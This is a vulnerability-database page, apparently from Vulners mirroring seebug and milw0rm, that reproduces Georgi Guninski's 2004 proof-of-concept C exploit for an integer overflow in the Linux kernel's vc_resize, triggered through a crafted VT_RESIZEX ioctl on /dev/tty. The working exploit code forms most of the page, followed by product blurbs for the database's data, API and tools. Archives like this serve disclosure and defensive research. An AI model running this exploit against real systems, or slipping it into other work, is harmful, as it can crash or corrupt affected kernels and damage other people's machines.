Lucene search
K

Linux Kernel <= 2.6.9 / <= 2.4.28 - vc_resize int Local Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

Linux Kernel vc_resize int Local Overflow Exploi

Code

                                                /* vc_resize int overflow
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases
 * */
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;linux/vt.h&#62;
#include &#60;sys/vt.h&#62;
#include &#60;sys/ioctl.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;

int main(int ac, char **av)
{
int fd;
struct vt_consize vv;
int cou=4242;

fd=open(&#34;/dev/tty&#34;,O_RDWR);
if (fd&#60;0) {perror(&#34;open&#34;);return -42;}
memset(&vv,0,sizeof(vv));
vv.v_clin=0;
vv.v_vcol=0;
vv.v_ccol=0;

/* magic values, overflow on i386*/
vv.v_rows=65535;
vv.v_cols=32769;

system(&#34;sync&#34;);
if (ioctl(fd,VT_RESIZEX,&vv) &#60; 0) {perror(&#34;ioctl&#34;);return -4242;}
while(cou--) printf(&#34;;)\n&#34;);
close(fd);
return 42;
}

// milw0rm.com [2004-12-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation